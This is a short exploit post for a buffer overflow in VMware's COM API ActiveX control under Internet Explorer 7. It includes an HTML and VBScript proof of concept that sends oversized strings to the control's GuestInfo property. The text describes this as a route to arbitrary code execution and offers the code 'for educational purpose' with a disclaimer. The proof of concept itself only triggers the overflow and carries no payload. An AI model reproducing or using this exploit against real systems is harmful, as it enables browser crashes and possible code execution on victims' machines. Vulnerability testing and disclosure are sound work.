Av ulnerability in VMware's COM API ActiveX allows remote attackers to cause it to overflow an internal buffer which in turn can be used to execute abitrary code, the following exploit code can be used to test your system for the mentioned vulnerability.
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
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<object classid='clsid:38DB77F9-058D-4955-98AA-4A9F3B6A5B06' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
buff_1 = String (2000, "a")
buff_2 = String (2000, "b")
test.GuestInfo (buff_1) = buff_2
End Sub
</script>